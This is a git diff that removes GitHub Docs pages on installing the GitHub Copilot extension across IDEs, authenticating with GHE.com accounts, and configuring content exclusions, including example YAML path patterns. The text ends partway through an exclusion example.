a/content/copilot/managing-copilot/configure-personal-settings/installing-the-github-copilot-extension-in-your-environment.md b/content/copilot/managing-copilot/configure-personal-settings/installing-the-github-copilot-extension-in-your-environment.md deleted file mode 100644 index 27afc5a2f82b..000000000000 --- a/content/copilot/managing-copilot/configure-personal-settings/installing-the-github-copilot-extension-in-your-environment.md +++ /dev/null @@ -1,265 +0,0 @@ ---- -title: Installing the GitHub Copilot extension in your environment -shortTitle: Install Copilot extension -intro: 'To use {% data variables.product.prodname_copilot_short %} in your preferred coding environment, follow the steps for your chosen IDE.' -versions: - feature: copilot -defaultTool: vscode -topics: - - Copilot -redirect_from: - - /copilot/configuring-github-copilot/installing-the-github-copilot-extension-in-your-environment ---- - -## Getting access to {% data variables.product.prodname_copilot %} - -There are different ways to get access to {% data variables.product.prodname_copilot_short %}. - -| Type of user | How to get access to {% data variables.product.prodname_copilot_short %} | -| --- | --- | -| Individual | <ul><li>Set up {% data variables.product.prodname_copilot_free %} to get a limited experience of {% data variables.product.prodname_copilot_short %} without a subscription. See [AUTOTITLE](/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/about-github-copilot-free).</li><li>Sign up for a paid {% data variables.product.prodname_copilot_short %} subscription to get unlimited completions and chat interactions. You can <a href="https://github.com/github-copilot/signup?ref_cta=Copilot+trial&ref_loc=about+github+copilot&ref_page=docs" target="_blank"><span>try {% data variables.product.prodname_copilot_short %} for free</span></a> with a one-time 30-day trial.</li><li>See [AUTOTITLE](/copilot/setting-up-github-copilot/setting-up-github-copilot-for-yourself) for all options.</li></ul> | -| Organization{% ifversion ghec %}/Enterprise member{% endif %} | <ul><li>If you are a member of an organization{% ifversion ghec %} or enterprise{% endif %} that has a subscription to {% data variables.product.prodname_copilot_short %}, you can request access to {% data variables.product.prodname_copilot_short %} by going to https://github.com/settings/copilot and requesting access under "Get {% data variables.product.prodname_copilot_short %} from an organization."</li><li>See [AUTOTITLE](/copilot/setting-up-github-copilot/setting-up-github-copilot-for-your-organization) to enable {% data variables.product.prodname_copilot_short %} for your organization.</li>{% ifversion ghec %}<li>See [AUTOTITLE](/copilot/setting-up-github-copilot/setting-up-github-copilot-for-your-enterprise) to enable {% data variables.product.prodname_copilot_short %} for your enterprise.</li>{% endif %}</ul> | - -{% azure_data_studio %} - -## About the {% data variables.product.prodname_copilot %} extension in Azure Data Studio - -Installing the {% data variables.product.prodname_copilot %} extension in Azure Data Studio allows you to receive coding suggestions from {% data variables.product.prodname_copilot_short %} as you type. - -To see instructions for other popular coding environments, use the tool switcher at the top of the page. - -## Installing the {% data variables.product.prodname_copilot %} extension in Azure Data Studio - -1. Make sure you have access to {% data variables.product.prodname_copilot %}. For information, see [AUTOTITLE](/copilot/about-github-copilot/what-is-github-copilot#getting-access-to-copilot). - -1. Make sure you have a compatible version of Azure Data Studio. To use {% data variables.product.prodname_copilot %} in Azure Data Studio, you must have Azure Data Studio version 1.44.0 or later installed. See the [Azure Data Studio download page](https://docs.microsoft.com/sql/azure-data-studio/download-azure-data-studio) in the Azure Data Studio documentation. - -1. Install the {% data variables.product.prodname_copilot %} extension in Azure Data Studio. See [Install the {% data variables.product.prodname_copilot %} extension](https://learn.microsoft.com/en-us/azure-data-studio/extensions/github-copilot-extension-overview#install-the-github-copilot-extension) in the Microsoft documentation. - -1. If a popup window in Azure Data Studio prompts you to sign in to use {% data variables.product.prodname_copilot %}, click **Sign in to {% data variables.product.prodname_dotcom %}** and follow the instructions on screen. - - * If you have previously authorized Azure Data Studio for your account on {% data variables.product.prodname_dotcom %}, {% data variables.product.prodname_copilot %} will be automatically authorized. - * If you don't get the prompt to authorize, you can view notifications by clicking the bell icon in the bottom panel of the Azure Data Studio window. - -1. If you are following the authorization steps, in your browser, {% data variables.product.prodname_dotcom %} will request the necessary permissions for {% data variables.product.prodname_copilot %}. To approve these permissions, click **Authorize Azure Data Studio**. - -{% endazure_data_studio %} - -{% jetbrains %} - -## About the {% data variables.product.prodname_copilot %} extension in JetBrains IDEs - -Installing the {% data variables.product.prodname_copilot %} extension in JetBrains IDEs allows you to chat with {% data variables.product.prodname_copilot_short %} in your IDE and receive coding suggestions from {% data variables.product.prodname_copilot_short %} as you type. - -To see instructions for other popular coding environments, use the tool switcher at the top of the page. - -### Version compatibility - -For information about version compatibility of the {% data variables.product.prodname_copilot %} extension in JetBrains IDEs, see [{% data variables.product.prodname_copilot %} Versions](https://plugins.jetbrains.com/plugin/17718-github-copilot/versions) in the JetBrains Marketplace. - -### About the license for the {% data variables.product.prodname_copilot %} plugin in JetBrains IDEs - -{% data variables.product.prodname_dotcom %}, Inc. is the licensor of the JetBrains plugin. The end user license agreement for this plugin is the [{% data variables.product.prodname_dotcom %} Terms for Additional Products and Features](/free-pro-team@latest/site-policy/github-terms/github-terms-for-additional-products-and-features#github-copilot) and use of this plugin is subject to those terms. JetBrains has no responsibility or liability in connection with the plugin or such agreement. By using the plugin, you agree to the foregoing terms. - -## Installing the {% data variables.product.prodname_copilot %} plugin in your JetBrains IDE - -The following procedure will guide you through installation of the {% data variables.product.prodname_copilot %} plugin in IntelliJ IDEA. Steps to install the plugin in another supported IDE may differ. - -1. Make sure you have access to {% data variables.product.prodname_copilot %}. For information, see [AUTOTITLE](/copilot/about-github-copilot/what-is-github-copilot#getting-access-to-copilot). - -1. Make sure you have a JetBrains IDE that is compatible with {% data variables.product.prodname_copilot %}. {% data variables.product.prodname_copilot %} is compatible with the following IDEs: - - {% data reusables.copilot.jetbrains-compatible-ides %} - -1. Install the {% data variables.product.prodname_copilot %} plugin for JetBrains. See [{% data variables.product.prodname_copilot %} plugin](https://plugins.jetbrains.com/plugin/17718-github-copilot) in the JetBrains Marketplace. - -1. After {% data variables.product.prodname_copilot %} is installed, click **Restart IDE**. - -1. After your JetBrains IDE has restarted, click the **Tools** menu. Click **{% data variables.product.prodname_copilot %}**, then click **Login to {% data variables.product.prodname_dotcom %}**. - - >[!NOTE] {% data reusables.copilot.sign-in-ghecom %} See [AUTOTITLE](/copilot/managing-copilot/configure-personal-settings/using-github-copilot-with-an-account-on-ghecom?tool=jetbrains#authenticating-from-jetbrains-ides). - - ![Screenshot of the expanded "Tools" menu and "{% data variables.product.prodname_copilot %}" sub-menu. The "Login to {% data variables.product.prodname_dotcom %}" option is highlighted in blue.](/assets/images/help/copilot/jetbrains-tools-menu.png) - -1. In the "Sign in to {% data variables.product.prodname_dotcom %}" dialog box, to copy the device code and open the device activation window, click **Copy and Open**. - - ![Screenshot of the "Sign in to {% data variables.product.prodname_dotcom %}" dialog. A device code is displayed above a button labeled "Copy and Open".](/assets/images/help/copilot/device-code-copy-and-open.png) - -1. A device activation window will open in your browser. Paste the device code, then click **Continue**. - -1. {% data variables.product.prodname_dotcom %} will request the necessary permissions for {% data variables.product.prodname_copilot %}. To approve these permissions, click **Authorize {% data variables.product.prodname_copilot %} Plugin**. - -1. After the permissions have been approved, your JetBrains IDE will show a confirmation. To begin using {% data variables.product.prodname_copilot %}, click **OK**. - -{% endjetbrains %} - -{% vimneovim %} - -## About the {% data variables.product.prodname_copilot %} extension in Vim/Neovim - -Installing the {% data variables.product.prodname_copilot %} extension in Vim/Neovim allows you to receive coding suggestions from {% data variables.product.prodname_copilot_short %} as you type. - -To see instructions for other popular coding environments, use the tool switcher at the top of the page. - -## Installing the {% data variables.product.prodname_copilot %} extension in Vim/Neovim - -{% data variables.product.prodname_dotcom %} recommends that you install the {% data variables.product.prodname_copilot %} plugin with Vim/Neovim's built-in plugin manager. Alternatively, you can use a plugin manager of your choice to install `github/copilot.vim`. For more information, see the [copilot.vim repository](https://github.com/github/copilot.vim). - -1. Make sure you have access to {% data variables.product.prodname_copilot %}. For information, see [AUTOTITLE](/copilot/about-github-copilot/what-is-github-copilot#getting-access-to-copilot). - -1. Make sure you have a compatible version of Vim/Neovim installed. To use {% data variables.product.prodname_copilot %} in Vim/Neovim you must have Vim version 9.0.0185 / Neovim version 0.6 or above and Node.js version 18 or above. See the [Vim](https://vimhelp.org/) / [Neovim documentation](https://neovim.io/doc/) and the [Node.js website](https://nodejs.org/en/). - -1. Install {% data variables.product.prodname_copilot %} using the built-in plugin manager: - - * For **Neovim on macOS or Linux**, run the following command in the terminal. - - ```shell copy - git clone https://github.com/github/copilot.vim \ - ~/.config/nvim/pack/github/start/copilot.vim - ``` - - * For **Neovim on Windows**, run the following command in Git Bash: - - ```shell copy - git clone https://github.com/github/copilot.vim.git \ - $HOME/AppData/Local/nvim/pack/github/start/copilot.vim - ``` - - * For **Vim on macOS or Linux**, run the following command in the terminal. - - ```shell copy - git clone https://github.com/github/copilot.vim \ - ~/.vim/pack/github/start/copilot.vim - ``` - - * For **Vim on Windows**, run the following command in Git Bash: - - ```shell copy - git clone https://github.com/github/copilot.vim.git \ - $HOME/vimfiles/pack/github/start/copilot.vim - ``` - -{% data reusables.copilot.config-enable-copilot-in-vimneovim %} - -{% endvimneovim %} - -{% visualstudio %} - -## About the {% data variables.product.prodname_copilot %} extension in {% data variables.product.prodname_vs %} - -Installing the {% data variables.product.prodname_copilot %} extension in {% data variables.product.prodname_vs %} allows you to receive coding suggestions from {% data variables.product.prodname_copilot_short %} as you type. - -To see instructions for other popular coding environments, use the tool switcher at the top of the page. - -### Version compatibility - -Starting from {% data variables.product.prodname_vs %} 2022 Version 17.10, the unified {% data variables.product.prodname_copilot_short %} and {% data variables.product.prodname_copilot_chat %} extension is included by default as a built-in component. For more information, see [Install {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vs %}](https://learn.microsoft.com/en-us/visualstudio/ide/visual-studio-github-copilot-install-and-states) in the Microsoft documentation. - -## Installing the {% data variables.product.prodname_copilot %} extension in {% data variables.product.prodname_vs %} - -1. Make sure you have access to {% data variables.product.prodname_copilot %}. For information, see [AUTOTITLE](/copilot/about-github-copilot/what-is-github-copilot#getting-access-to-copilot). - -1. Make sure you have a compatible version of {% data variables.product.prodname_vs %} installed. {% data reusables.copilot.visual-studio-version %} - -1. Install the {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vs %} See [Install {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vs %}](https://learn.microsoft.com/en-us/visualstudio/ide/visual-studio-github-copilot-install-and-states) in the Microsoft documentation. - -1. After installing the {% data variables.product.prodname_copilot %} extension, to enable {% data variables.product.prodname_copilot %}, ensure you have added your {% data variables.product.prodname_dotcom %} account to {% data variables.product.prodname_vs %}. For more information, see [Add your {% data variables.product.prodname_dotcom %} accounts to your {% data variables.product.prodname_vs %} keychain](https://learn.microsoft.com/en-us/visualstudio/ide/work-with-github-accounts) in the Microsoft documentation. - - >[!NOTE] {% data reusables.copilot.sign-in-ghecom %} See [AUTOTITLE](/copilot/managing-copilot/configure-personal-settings/using-github-copilot-with-an-account-on-ghecom?tool=visualstudio#authenticating-from-visual-studio). - -{% endvisualstudio %} - -{% vscode %} - -## About {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %} - -{% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %} allows you to receive coding suggestions from {% data variables.product.prodname_copilot_short %} as you type. You also automatically get access to {% data variables.product.prodname_copilot_chat %}, which allows you to chat with {% data variables.product.prodname_copilot_short %}. - -To see instructions for other popular coding environments, use the tool switcher at the top of the page. - -## Setting up {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %} - -When you set up {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %} for the first time, the required extensions are installed automatically. You don't need to download or install them manually. - -For detailed instructions, see [Set up {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %}](https://code.visualstudio.com/docs/copilot/setup#_set-up-copilot-in-vs-code) in the {% data variables.product.prodname_vscode %} documentation. - ->[!NOTE] {% data reusables.copilot.sign-in-ghecom %} See [AUTOTITLE](/copilot/managing-copilot/configure-personal-settings/using-github-copilot-with-an-account-on-ghecom?tool=vscode#authenticating-from-vs-code). - -{% endvscode %} - -{% xcode %} - -## About the {% data variables.product.prodname_copilot %} extension for Xcode - -Installing the {% data variables.product.prodname_copilot %} extension for Xcode allows you to receive coding suggestions from {% data variables.product.prodname_copilot_short %} as you type. - -To see instructions for other popular coding environments, use the tool switcher at the top of the page. - -## Prerequisites - -{% data reusables.copilot.xcode-prerequisites %} - -## Installing the {% data variables.product.prodname_copilot %} extension for Xcode - -1. Make sure you have access to {% data variables.product.prodname_copilot %}. For information, see [AUTOTITLE](/copilot/about-github-copilot#getting-access-to-github-copilot). -1. Make sure you have a compatible version of Xcode installed. To use {% data variables.product.prodname_copilot %} for Xcode you must have Xcode version 8.0 or above and macOS Monterey (12.0) or above. See [Xcode](https://developer.apple.com/xcode/) on the Apple Developer site. -1. Download the latest version of the {% data variables.product.prodname_copilot %} for Xcode extension from the [`github/CopilotForXcode` repository](https://github.com/github/CopilotForXcode/releases/latest/download/GitHubCopilotForXcode.dmg) and install it. A background item will be added for the application to be able to start itself when Xcode starts. - -## Granting required permissions - -Two permissions are required to be able to use the extension: "Accessibility" and "Xcode Source Editor Extension". You will be prompted to enable the "Accessibility" permission when you first start the extension. - -The "Xcode Source Editor Extension" permission needs to be enabled manually. - -1. Open the {% data variables.product.prodname_copilot %} extension application. -1. Click **Extension Permission** and click **Xcode Source Editor**. -1. Enable {% data variables.product.prodname_copilot %} and click **Done**. - -After granting the required permissions, restart Xcode. You will see a new item in the "Editor" menu called "{% data variables.product.prodname_copilot %}". - -## Signing in to {% data variables.product.prodname_copilot %} - -Before you can use the {% data variables.product.prodname_copilot %} extension for Xcode, you need to authorize the extension to access your {% data variables.product.github %} account. - ->[!NOTE] {% data reusables.copilot.sign-in-ghecom %} See [AUTOTITLE](/copilot/managing-copilot/configure-personal-settings/using-github-copilot-with-an-account-on-ghecom?tool=xcode#authenticating-from-xcode). - -1. Open the {% data variables.product.prodname_copilot %} extension application. -1. Click **Login to {% data variables.product.github %}** and follow the prompts to authorize the extension. - -{% endxcode %} - -{% eclipse %} - -## About {% data variables.product.prodname_copilot %} in Eclipse - -Installing {% data variables.product.prodname_copilot %} in Eclipse allows you to receive coding suggestions from {% data variables.product.prodname_copilot_short %} as you type. You also automatically get access to {% data variables.product.prodname_copilot_chat %}, which allows you to chat with {% data variables.product.prodname_copilot_short %}. - -{% data reusables.copilot.eclipse-public-preview-note %} - -To see instructions for other popular coding environments, use the tool switcher at the top of the page. - -## Prerequisites - -{% data reusables.copilot.eclipse-prerequisites %} - -## Installing {% data variables.product.prodname_copilot %} in Eclipse - -1. Download and install the latest version of {% data variables.product.prodname_copilot %} from the [Eclipse Marketplace](https://aka.ms/copiloteclipse) or directly via the [Eclipse Update Site](https://azuredownloads-g3ahgwb5b8bkbxhd.b01.azurefd.net/github-copilot/). For more information, see [Installing New Software](https://help.eclipse.org/latest/topic/org.eclipse.platform.doc.user/tasks/tasks-124.htm) in the Eclipse documentation. - -1. After the extension is installed, restart Eclipse to apply the changes. - -1. In the bottom right corner of the Eclipse workbench, click **{% octicon "copilot" aria-hidden="true" %} {% data variables.product.prodname_copilot_short %}**, then click **Sign In to {% data variables.product.prodname_dotcom %}**. - -1. In the "Sign In to {% data variables.product.prodname_dotcom %}" dialog box, to copy the device code and open the device activation window, click **Copy Code and Open**. - -1. A device activation window will open in your browser. Paste the device code, then click **Continue**. - -1. {% data variables.product.prodname_dotcom %} will request the necessary permissions for {% data variables.product.prodname_copilot %}. To approve these permissions, click **Authorize {% data variables.product.prodname_copilot %} Plugin**. - -1. After the permissions have been approved, Eclipse will show a confirmation. To begin using {% data variables.product.prodname_copilot %}, click **OK**. - -{% endeclipse %} - -## Next steps - -* **Get started with {% data variables.product.prodname_copilot_short %}** - Learn how to use {% data variables.product.prodname_copilot_short %} in your preferred coding environment. See [AUTOTITLE](/copilot/using-github-copilot/using-github-copilot-code-suggestions-in-your-editor). diff --git a/content/copilot/managing-copilot/configure-personal-settings/using-github-copilot-with-an-account-on-ghecom.md b/content/copilot/managing-copilot/configure-personal-settings/using-github-copilot-with-an-account-on-ghecom.md deleted file mode 100644 index 80a4264382f2..000000000000 --- a/content/copilot/managing-copilot/configure-personal-settings/using-github-copilot-with-an-account-on-ghecom.md +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: Using GitHub Copilot with an account on GHE.com -shortTitle: Authenticate to GHE.com -intro: 'Update your development environment to access a {% data variables.product.prodname_copilot_short %} subscription for an account on {% data variables.enterprise.data_residency_site %}.' -versions: - feature: copilot -defaultTool: vscode -topics: - - Copilot ---- - -To use {% data variables.product.prodname_copilot %} in an IDE or the command line, you must authenticate to an account on {% data variables.product.github %} that has a {% data variables.product.prodname_copilot_short %} license. - -If you receive access to {% data variables.product.prodname_copilot_short %} through a {% data variables.enterprise.prodname_managed_user %} owned by an enterprise on {% data variables.enterprise.data_residency_site %}, you may need to adjust some settings in your IDE before you can authenticate to your account. - -Use the **tabs at the top of this article** to see instructions for your environment. - -{% vscode %} - -## Authenticating from {% data variables.product.prodname_vscode_shortname %} - -1. To open your {% data variables.product.prodname_vscode_shortname %} settings, press <kbd>Command</kbd>+<kbd>,</kbd> (Mac) or <kbd>Ctrl</kbd>+<kbd>,</kbd> (Windows). -1. In the search bar, search for `enterprise`. -1. For the `Github-enterprise: Uri` setting, enter the URL where you access {% data variables.product.github %}. For example: `https://{% data variables.enterprise.data_residency_example_domain %}`. -1. In the {% data variables.product.prodname_vscode_shortname %} settings, search for `copilot`. -1. Under "GitHub > Copilot: Advanced," click **Edit in settings.json**. -1. Inside the `github.copilot.advanced` property, add `"authProvider": "github-enterprise"`. For example: - - ```json copy - "github.copilot.advanced": { - "authProvider": "github-enterprise" - }, - ``` - -1. Save the `settings.json` file. -1. You will be shown a prompt asking you to sign in to use {% data variables.product.prodname_copilot %}. Click **Sign in to {% data variables.product.github %}**, then follow the prompts to authorize your account. - - If you **don't see the prompt**, try restarting {% data variables.product.prodname_vscode_shortname %}. - -If you ever need to switch to an account on {% data variables.product.prodname_dotcom_the_website %}, remove the `authProvider` setting from `settings.json`. - -{% endvscode %} - -{% jetbrains %} - -## Authenticating from JetBrains IDEs - -To authenticate to {% data variables.enterprise.data_residency_site %} in a JetBrains editor, you must install version 1.4.11 or later of the {% data variables.product.prodname_copilot_short %} extension. You must then configure the extension to work with {% data variables.enterprise.data_residency_site %}. - -1. To open the editor preferences or settings dialog, press <kbd>Command</kbd>+<kbd>,</kbd> (Mac) or <kbd>Ctrl</kbd>+<kbd>Alt</kbd>+<kbd>S</kbd> (Windows). -1. In the left sidebar, expand the "Languages & Frameworks" section, then click **{% data variables.product.prodname_copilot %}**. -1. In the "Authentication Provider" field, enter the hostname where you access {% data variables.product.github %}. For example: `{% data variables.enterprise.data_residency_example_domain %}`. -1. To save your changes, click **OK**. -1. To sign in, open the **Tools** menu, then select **{% data variables.product.prodname_copilot %}** > **Login to {% data variables.product.github %}**. Follow the prompts to sign in. - -If you ever need to switch to an account on {% data variables.product.prodname_dotcom_the_website %}, remove the value you entered in the "Authentication Provider" field. - -{% endjetbrains %} - -{% xcode %} - -## Authenticating from Xcode - -1. Open the "{% data variables.product.prodname_copilot %} for Xcode" application. -1. Click the **Advanced** tab. -1. In the "Auth provider URL" field, enter the URL where you access {% data variables.product.github %}. For example: `https://{% data variables.enterprise.data_residency_example_domain %}`. -1. Authorize the extension by following the instructions in [Signing in to {% data variables.product.prodname_copilot %}](/copilot/managing-copilot/configure-personal-settings/installing-the-github-copilot-extension-in-your-environment?tool=xcode#signing-in-to-github-copilot). - -{% endxcode %} - -{% cli %} - -## Authenticating from the command line - -To use the `gh-copilot` extension for the {% data variables.product.prodname_cli %}, you must: - -1. Download and install the extension. To do this, you must be authenticated to an account on {% data variables.product.prodname_dotcom_the_website %}. See [AUTOTITLE](/copilot/managing-copilot/configure-personal-settings/installing-github-copilot-in-the-cli#installing-copilot-in-the-cli). -1. Authenticate to the account on {% data variables.enterprise.data_residency_site %} where you receive your {% data variables.product.prodname_copilot_short %} license. - -{% data variables.product.prodname_dotcom_the_website %} is the default destination of {% data variables.product.prodname_cli %} requests. To use `gh copilot`, you must ensure requests are sent to {% data variables.enterprise.data_residency_site %}, where you receive your license. You have the following options: -* Include the flag `--hostname SUBDOMAIN.ghe.com` in all `gh copilot` commands. -* Set the `GH_HOST` environment variable to change the default host for all {% data variables.product.prodname_cli %} commands. -* Sign out of {% data variables.product.prodname_dotcom_the_website %} with `gh auth logout`. However, you will need to sign back in to get updates to `gh-copilot`. - -For general information on using the {% data variables.product.prodname_cli %} across platforms, see [AUTOTITLE](/github-cli/github-cli/using-multiple-accounts). - -{% endcli %} - -{% visualstudio %} - -## Authenticating from Visual Studio - -To authenticate from Visual Studio, follow the steps in [Add your GitHub accounts to your Visual Studio keychain](https://learn.microsoft.com/en-us/visualstudio/ide/work-with-github-accounts?view=vs-2022#enabling-github-enterprise-accounts) on Microsoft Learn. - -For the "{% data variables.product.prodname_enterprise %} URL" field, enter the URL where you access {% data variables.product.github %}. For example: `https://{% data variables.enterprise.data_residency_example_domain %}`. - -{% endvisualstudio %} - -{% eclipse %} - -## Authenticating from Eclipse - -1. In the IDE, click **{% octicon "copilot" aria-hidden="true" %} {% data variables.product.prodname_copilot_short %}** to open the menu. -1. Click **Edit Preferences...**. -1. In the **{% data variables.product.prodname_enterprise %} Authentication Endpoint** field, enter the URL where you access {% data variables.product.github %}. For example: `https://{% data variables.enterprise.data_residency_example_domain %}`. -1. Click **Apply**. -1. Open the **{% octicon "copilot" aria-hidden="true" %} {% data variables.product.prodname_copilot_short %}** menu again then click **Sign In to {% data variables.product.prodname_dotcom %}**. - -{% endeclipse %} diff --git a/content/copilot/managing-copilot/configuring-and-auditing-content-exclusion/excluding-content-from-github-copilot.md b/content/copilot/managing-copilot/configuring-and-auditing-content-exclusion/excluding-content-from-github-copilot.md deleted file mode 100644 index 1936d7c7109d..000000000000 --- a/content/copilot/managing-copilot/configuring-and-auditing-content-exclusion/excluding-content-from-github-copilot.md +++ /dev/null @@ -1,233 +0,0 @@ ---- -title: Excluding content from GitHub Copilot -shortTitle: Exclude content from Copilot -intro: 'You can prevent {% data variables.product.prodname_copilot_short %} from accessing certain content.' -permissions: 'Repository administrators{% ifversion ghec%}, organization owners, and enterprise owners{% else %} and organization owners{% endif %} can manage content exclusion settings. People with the "Maintain" role for a repository can view, but not edit, content exclusion settings for that repository.' -product: '{% data reusables.gated-features.copilot-business-and-enterprise %}' -layout: inline -versions: - feature: copilot -redirect_from: - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/setting-policies-for-copilot-in-your-organization/excluding-content-from-github-copilot - - /copilot/managing-copilot-business/configuring-content-exclusions-for-github-copilot - - /copilot/managing-github-copilot-in-your-organization/configuring-content-exclusions-for-github-copilot - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/configuring-content-exclusions-for-github-copilot - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-github-copilot-features-in-your-organization/about-content-exclusions-for-github-copilot - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/setting-policies-for-copilot-in-your-organization/about-content-exclusions-for-github-copilot - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/setting-policies-for-copilot-in-your-organization/configuring-content-exclusions-for-github-copilot - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/setting-policies-for-copilot-in-your-organization/testing-changes-to-content-exclusions-in-your-ide - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-github-copilot-features-in-your-organization/configuring-content-exclusions-for-github-copilot - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-github-copilot-features-in-your-organization/testing-changes-to-content-exclusions-in-your-ide -topics: - - Copilot ---- - -## About content exclusions for {% data variables.product.prodname_copilot_short %} - -You can use content exclusions to configure {% data variables.product.prodname_copilot_short %} to ignore certain files. When you exclude content from {% data variables.product.prodname_copilot_short %}: - -* Code completion will not be available in the affected files. -* The content in affected files will not inform code completion suggestions in other files. -* The content in affected files will not inform {% data variables.product.prodname_copilot_chat %}'s responses. -* Affected files will not be reviewed in a {% data variables.product.prodname_copilot_short %} code review. - -### Who can configure content exclusion - -Repository administrators{% ifversion ghec %}, organization owners, and enterprise owners{% else %} and organization owners{% endif %} can configure content exclusion. - -{% data reusables.copilot.content-exclusions-scope %} - -### Availability of content exclusions - -| Tool | Code completion support | {% data variables.product.prodname_copilot_chat_short %} support | -|-------------------------------------------------|:---------------------------------------------:|:----------------------------------------------------------------:| -| {% data variables.product.prodname_vs %} | {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | -| {% data variables.product.prodname_vscode %} | {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | -| JetBrains IDEs | {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | -| Vim/Neovim | {% octicon "check" aria-label="Supported" %} | Not applicable | -| Xcode | {% octicon "check" aria-label="Supported" %} | {% octicon "x" aria-label="Not supported" %} | -| Eclipse | {% octicon "check" aria-label="Supported" %} | {% octicon "x" aria-label="Not supported" %} | -| Azure Data Studio | {% octicon "x" aria-label="Not supported" %} | Not applicable | -| The {% data variables.product.github %} website | Not applicable | {% octicon "check" aria-label="Supported" %} | -| {% data variables.product.prodname_mobile %} | Not applicable | {% octicon "check" aria-label="Supported" %} | - -Content exclusions also apply to {% data variables.copilot.copilot_code-review_short %} on the {% data variables.product.github %} website. - -> [!NOTE] -> Content exclusion is in {% data variables.release-phases.public_preview %} on the {% data variables.product.github %} website and in {% data variables.product.prodname_mobile %} and is subject to change. - -### Limitations of content exclusions - -{% data reusables.copilot.content-exclusion-limitations %} - -Currently, content exclusions do not apply to symbolic links (symlinks). - -### Data sent to {% data variables.product.prodname_dotcom %} - -After you configure content exclusion, the client (for example, the {% data variables.product.prodname_copilot_short %} extension for {% data variables.product.prodname_vscode_shortname %}) sends the current repository URL to the {% data variables.product.prodname_dotcom %} server so that the server can return the correct policy to the client. These URLs are not logged anywhere. - -## Configuring content exclusions for your repository - -You can use your repository settings to specify content in your repository that {% data variables.product.prodname_copilot %} should ignore. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} - -1. In the "Code & automation" section of the side bar, click **{% octicon "copilot" aria-hidden="true" %} {% data variables.product.prodname_copilot_short %}**. - - If your repository inherits any exclusions from {% ifversion fpt %}its parent organization{% else %} organizations in the same enterprise{% endif %}, you'll see {% ifversion ghec %}one or more{% else %} a{% endif %} gray box{% ifversion ghec %}es{% endif %} at the top of the page containing details of these exclusions. You cannot edit these settings. - -1. In the box following "Paths to exclude in this repository," enter the paths to files from which {% data variables.product.prodname_copilot_short %} should be excluded. - - Use the format: `- "/PATH/TO/DIRECTORY/OR/FILE"`, with each path on a separate line. You can add comments by starting a line with `#`. - - > [!TIP] {% data reusables.copilot.content-exclusion-fnmatch-tip %} - -### Example of paths specified in the repository settings - -```yaml annotate -# Ignore the `/src/some-dir/kernel.rs` file in this repository. -- "/src/some-dir/kernel.rs" - -# Ignore files called `secrets.json` anywhere in this repository. -- "secrets.json" - -# Ignore all files whose names begin with `secret` anywhere in this repository. -- "secret*" - -# Ignore files whose names end with `.cfg` anywhere in this repository. -- "*.cfg" - -# Ignore all files in or below the `/scripts` directory of this repository. -- "/scripts/**" -``` - -## Configuring content exclusions for your organization - -You can use your organization settings to specify files that {% data variables.product.prodname_copilot %} should ignore. The files can be within a Git repository or anywhere on the file system that is not under Git control. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} - -1. In the left sidebar, click **{% octicon "copilot" aria-hidden="true" %} {% data variables.product.prodname_copilot_short %}** then click **Content exclusion**. -1. In the box following "Repositories and paths to exclude," enter the details of files from which {% data variables.product.prodname_copilot_short %} should be excluded. - - To exclude files located anywhere (within a Git repository or elsewhere), enter `"*":` followed by the path to the file, or files, you want to exclude. If you want to specify multiple file path patterns, list each pattern on a separate line. - - To exclude files in a Git repository from {% data variables.product.prodname_copilot_short %}, enter a reference to the repository on one line, followed by paths to locations within the repository, with each path on a separate line. Use the following format, replacing `REPOSITORY-REFERENCE` with a reference to the repository that contains the files you'd like to exclude: - - ```yaml - REPOSITORY-REFERENCE: - - "/PATH/TO/DIRECTORY/OR/FILE" - - "/PATH/TO/DIRECTORY/OR/FILE" - - ... - ``` - - Repositories can be referenced using various protocols. You can use any of the following syntaxes for `REPOSITORY-REFERENCE` and {% data variables.product.prodname_copilot_short %} will match them regardless of how the repository was cloned locally: - - ```text - http[s]://host.xz[:port]/path/to/repo.git/ - - git://host.xz[:port]/path/to/repo.git/ - - [user@]host.xz:path/to/repo.git/ - - ssh://[user@]host.xz[:port]/path/to/repo.git/ - ``` - - The `user@` and `:port` parts of the `REPOSITORY-REFERENCE` are ignored in the calculation of which paths to ignore for a repository. - - For Azure DevOps, you can use the new (dev.azure.com) or old (visualstudio.com) host format when specifying `REPOSITORY-REFERENCE`, and {% data variables.product.prodname_copilot_short %} will match them regardless of which host was used to clone the repository locally. - - > [!TIP] {% data reusables.copilot.content-exclusion-fnmatch-tip %} - -### Example of repositories and paths in organization settings - -```yaml annotate -# Ignore all `.env` files from all file system roots (Git and non-Git). -# For example, this excludes `REPOSITORY-PATH/.env` and also `/.env`. -# This could also have been written on a single line as: -# -# "*": ["**/.env"] -"*": - - "**/.env" - -# In the `octo-repo` repository in this organization: -octo-repo: - # Ignore the `/src/some-dir/kernel.rs` file. - - "/src/some-dir/kernel.rs" - -# In the `primer/react` repository on {% data variables.product.prodname_dotcom %}: -https://github.com/primer/react.git: - # Ignore files called `secrets.json` anywhere in this repository. - - "secrets.json" - # Ignore files called `temp.rb` in or below the `/src` directory. - - "/src/**/temp.rb" - -# In the `copilot` repository of any {% data variables.product.prodname_dotcom %} organization: -git@github.com:*/copilot: - # Ignore any files in or below the 